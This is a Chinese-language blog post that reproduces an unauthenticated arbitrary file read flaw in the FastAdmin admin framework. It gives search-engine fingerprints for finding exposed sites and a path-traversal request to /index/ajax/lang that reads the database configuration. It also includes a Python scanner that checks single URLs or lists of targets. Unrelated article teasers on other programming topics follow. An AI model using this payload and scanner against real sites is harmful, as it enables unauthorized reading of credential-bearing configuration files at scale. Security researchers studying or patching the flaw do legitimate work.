【漏洞复现】FastAdmin——任意文件读取漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

FastAdmin是一个免费开源的后台管理框架,其lang存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集,资产测绘
fofa:body=“/assets/js/require.js”
hunter:web.body=“/assets/js/require.js”
在这里插入图片描述

坚持,成为安全专家只差一点点了

在这里插入图片描述

2)构造数据包上传文件

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: ip

启动Yakit神器
在这里插入图片描述

测试工具

poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 指定脚本运行环境为Python,并设置文件编码为utf-8import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarningRED = '\033[91m'
# 定义红色文本的颜色代码RESET = '\033[0m'
# 定义重置文本颜色的代码# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 禁用requests库在urllib3中的不安全请求警告def check_vulnerability(url):# 定义一个函数,用于检查指定URL是否存在漏洞try:# 尝试执行以下代码# 构造完整的攻击URLattack_url = url.rstrip('/') + "/index/ajax/lang?lang=%2e%2e/%2e%2e/application/database"# 发送GET请求到构造的URL,不验证SSL证书,超时时间设置为10秒response = requests.get(attack_url, verify=False, timeout=10)# 检查响应状态码是否为200,以及响应文本中是否包含'jsonpReturn'if response.status_code == 200 and 'jsonpReturn' in response.text:# 如果条件满足,打印出可能存在漏洞的信息print(f"{RED}URL [{url}] 可能存在Fastadmin框架lang任意文件读取漏洞{RESET}")else:# 如果条件不满足,打印出不存在漏洞的信息print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:# 如果请求超时,打印出请求超时的信息print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:# 如果发生其他请求相关的异常,打印出请求失败的信息及异常内容print(f"URL [{url}] 请求失败: {e}")def main():# 定义主函数parser = argparse.ArgumentParser(description='检测目标地址是否存在Fastadmin框架lang任意文件读取漏洞')# 创建ArgumentParser对象,用于解析命令行参数,并设置描述信息parser.add_argument('-u', '--url', help='指定目标地址')# 添加命令行参数'-u'或'--url',用于指定单个目标地址parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 添加命令行参数'-f'或'--file',用于指定包含多个目标地址的文件args = parser.parse_args()# 解析命令行参数if args.url:# 如果指定了单个目标地址if not args.url.startswith("http://") and not args.url.startswith("https://"):# 如果地址不以http://或https://开头,则添加http://args.url = "http://" + args.urlcheck_vulnerability(args.url)# 调用check_vulnerability函数进行检查elif args.file:# 如果指定了包含目标地址的文件with open(args.file, 'r') as file:# 打开文件并逐行读取urls = file.read().splitlines()# 读取所有行并存储在urls列表中for url in urls:# 对列表中的每个URL进行处理if not url.startswith("http://") and not url.startswith("https://"):# 如果URL不以http://或https://开头,则添加http://url = "http://" + urlcheck_vulnerability(url)# 对每个URL调用check_vulnerability函数进行检查if __name__ == '__main__':main()# 如果脚本被直接运行,则调用main函数

运行截图:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/37063.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络 —— 网络字节序

网络字节序 1、网络字节序 (Network Byte Order)和本机转换 1、大端、小端字节序 “大端” 和” 小端” 表示多字节值的哪一端存储在该值的起始地址处;小端存储在起始地址处,即是小端字节序;大端存储在起始地址处,即是大端字节…

以创新赋能引领鸿蒙应用开发,凡泰极客亮相华为HDC2024

6月21日至23日,华为开发者大会2024在松山湖举行。大会现场,华为发布了HarmonyOS、盘古大模型等方面最新进展。国内外众多企业齐聚一堂,共迎新商机、共创新技术、共享新体验。 凡泰极客作为鸿蒙生态的重要战略合作伙伴,同时也是鸿…

【vue3|第14期】深入Vue3自定义Hooks:掌握组件逻辑复用的核心

日期:2024年6月26日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对的地方&#xf…

动力环境监控系统内部绝密报价!动环监控系统全套价格一览

作为一个综合性的监控系统,动力环境监控系统包含动力系统、环境系统、安防系统等,是整个机房的控制中枢,无论哪里出现问题都可以实时监测到,并在第一时间通知管理人员。当然,根据机房大小和监测需求不同,动…

Windows系统开启python虚拟环境

.\env4socre\Scripts\activate : 无法加载文件 E:\SocreMan\env4socre\Scripts\Activate.ps1,因为在此系统上禁止运行脚本。 环境:windows 11、vscode 1、用管理员权限打开powershell 输入set-executionpolicy remotesigned,选择Y 2、返回v…

稀疏迭代最近点算法(Sparse ICP)

2013年,2013年Sofien Bouaziz等提出了一种新的ICP改进算法,稀疏迭代最近点(Sparse Iterative Closest Point, Sparse ICP)算法。更多扩展资料可参看随书附赠资源中的说明文档。 Sparse ICP算法的设计的灵感、应用范围、优缺点和泛化能力 两个几何数据集…

NAS—网络附加存储

关键词:私有化存储、Nas、云盘、群晖、Tailscale、 前言 身处于互联网时代的我们,几乎每时每刻都在与计算机打交道,而软件则作为我们和计算机之间沟通的桥梁,因此可以认为软件的作用是:将计算机能力进行包装&#xf…

瓦罗兰特新赛季更新资讯 瓦罗兰特新赛季免费加速器

瓦罗兰特新赛季来喽,这是一款由拳头开发的免费第一人称射击游戏,游戏凭借其独特的玩法和丰富的英雄选择吸引了大量玩家。 我们可以在游戏中选择自己喜欢的角色出场与敌人进行对战,而且每一个角色都有自己独特的道具以及技能,使用好…

SwiftUI 中的内容边距

文章目录 前言创建示例适配 iPad使用 contentMargins可运行 Demo总结前言 SwiftUI 引入了一组视图修饰符,使我们能够有效地管理视图中的安全区域。在许多情况下,安全区域是你希望放置内容的地方。今天,我们将了解 SwiftUI 引入的新内容边距概念以及它与安全区域的区别。 创…

【Proteus仿真】多变循环彩灯

【Proteus仿真】多变循环彩灯 ‍ 01功能描述 10种灯光效果可通过按键进行切换/通过按键切换灯光效果,通过数码管显示当前灯光模式,并通过按键调节当前灯光速度快慢。 02原理图 ​​ ‍ 03资料内容 源码仿真 04资料获取链接 https://docs.qq.co…

【unity笔记】五、UI面板TextMeshPro 添加中文字体

Unity 中 TextMeshPro不支持中文字体,下面为解决方法: 准备字体文件,从Windows系统文件的Fonts文件夹里拖一个.ttf文件(C盘 > Windows > Fonts ) 准备字库文件,新建一个文本文件,命名为“字库”&…

确认偏差:金融市场交易中的隐形障碍

确认偏差,作为一种深刻影响交易员决策与表现的心理现象,其核心在于个体倾向于寻求与既有信念相符的信息,而自动过滤或轻视与之相悖的资讯。这种认知偏见严重扭曲了交易者的决策过程,导致他们过分依赖符合既有观念的数据&#xff0…

pdf合并,这三种方法学会了吗?

在信息爆炸的时代,PDF文档凭借其跨平台、不易修改的特性,成为了我们工作和学习中不可或缺的一部分。然而,当面对多个PDF文件需要合并成一个完整的文档时,许多人可能会感到头疼。今天,就让我们一起来探讨三种高效的PDF合…

Rust Eq 和 PartialEq

Eq 和 PartialEq 在 Rust 中&#xff0c;想要重载操作符&#xff0c;你就需要实现对应的特征。 例如 <、<、> 和 > 需要实现 PartialOrd 特征: use std::fmt::Display;struct Pair<T> {x: T,y: T, }impl<T> Pair<T> {fn new(x: T, y: T) ->…

C#——里氏转换详情

里氏转换 里氏转换就是派生类的对象赋值给父类对象&#xff0c;反之则不行 实例 : 先创键一个类然后继承 调用

LLM App统计报告【Streamlit】

本文重点介绍了 Streamlit 报告&#xff1a;2023 年 LLM 应用状况&#xff0c;深入了解了 2023 年在 Streamlit 社区云上部署的所有 LLM 应用程序的统计数据。 Streamlit 是一个开源框架&#xff0c;旨在方便部署数据科学和机器学习应用程序。LLM 的最新发展使 Streamlit 成为开…

[leetcode]search-insert-position 搜索插入位置

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:int searchInsert(vector<int>& nums, int target) {int left 0, right nums.size()-1;while(left <right) {int mid left (right-left)/2;if(nums[mid] target){return mid;} else if(nu…

软件测试之接口测试(Postman/Jmeter)

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、什么是接口测试 通常做的接口测试指的是系统对外的接口&#xff0c;比如你需要从别的系统来…

Omni 动画核心运动包 - 为 Unity 游戏开发者带来卓越体验

Omni 动画核心运动包 前言资源包内容领取兑换码 前言 亲爱的 Unity 游戏开发者们&#xff0c;今天要向大家介绍一款令人瞩目的动画资源 - Omni 动画核心运动包。 这个运动包包含了多达 74 个 mocap 运动动画&#xff0c;每一个动画都是由专业演员通过我们先进的人工智能驱动动…

汽车电子行业知识:什么是车载智能座舱

1.什么是车载智能座舱 车载智能座舱是指搭载在汽车内部的一种智能系统&#xff0c;它集成了各种功能和技术&#xff0c;旨在提升驾驶体验、增加安全性和提供更多的便利。这种系统可以包括诸如智能驾驶辅助、信息娱乐、智能语音控制、车内环境控制、车辆健康监测等功能。通过车…